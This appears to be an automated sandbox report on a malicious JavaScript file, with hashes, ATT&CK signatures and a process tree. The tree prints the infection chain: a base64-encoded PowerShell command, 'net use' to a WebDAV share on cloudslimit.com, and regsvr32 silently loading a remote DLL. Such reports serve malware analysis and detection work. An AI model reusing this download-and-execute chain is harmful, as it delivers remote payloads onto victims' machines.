Analysis

  • max time kernel
    148s
  • max time network
    155s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25/07/2024, 21:27

General

  • Target

    234912348282128518.js

  • Size

    19KB

  • MD5

    6efedd2ed0f8a1216d81738bab9b4a48

  • SHA1

    ae06acf250e040287b9ca9bce64e6094d2e7b06b

  • SHA256

    643297279e5562c1772337378280d71b6598da278a16a970305358032bf53c22

  • SHA512

    2432ae65749b12c49be23739124c12bce51a645df2698b531fe54252002bff967c88396d0cc50ba8acf9abec6f85d70a7f49f778795796d64412ecc7d9981624

  • SSDEEP

    384:Qpa7OzAAdNa0w88YUIwNSw6aRByUGmzZAd6ngm:Qpa7OUWa0w88YUIASw6aRByUGmzZAd6F

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\234912348282128518.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2800
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABjAGwAbwB1AGQAcwBsAGkAbQBpAHQALgBjAG8AbQBAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwAIAA7ACAAcgBlAGcAcwB2AHIAMwAyACAALwBzACAAXABcAGMAbABvAHUAZABzAGwAaQBtAGkAdAAuAGMAbwBtAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAyADQANgAzADkAMgA3ADQAMwA3ADgAOAA1ADUALgBkAGwAbAA=
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4984
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\cloudslimit.com@8888\davwwwroot\
        3⤵
          PID:2940
        • C:\Windows\system32\regsvr32.exe
          "C:\Windows\system32\regsvr32.exe" /s \\cloudslimit.com@8888\davwwwroot\24639274378855.dll
          3⤵
            PID:3472

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xl454ypt.o0p.ps1

              Filesize

              60B

              MD5

              d17fe0a3f47be24a6453e9ef58c94641

              SHA1

              6ab83620379fc69f80c0242105ddffd7d98d5d9d

              SHA256

              96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

              SHA512

              5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

            • memory/4984-0-0x00007FFCDF1B3000-0x00007FFCDF1B5000-memory.dmp

              Filesize

              8KB

            • memory/4984-6-0x00000246B85A0000-0x00000246B85C2000-memory.dmp

              Filesize

              136KB

            • memory/4984-11-0x00007FFCDF1B0000-0x00007FFCDFC71000-memory.dmp

              Filesize

              10.8MB

            • memory/4984-12-0x00007FFCDF1B0000-0x00007FFCDFC71000-memory.dmp

              Filesize

              10.8MB

            • memory/4984-15-0x00000246D07F0000-0x00000246D0A0C000-memory.dmp

              Filesize

              2.1MB

            • memory/4984-16-0x00007FFCDF1B0000-0x00007FFCDFC71000-memory.dmp

              Filesize

              10.8MB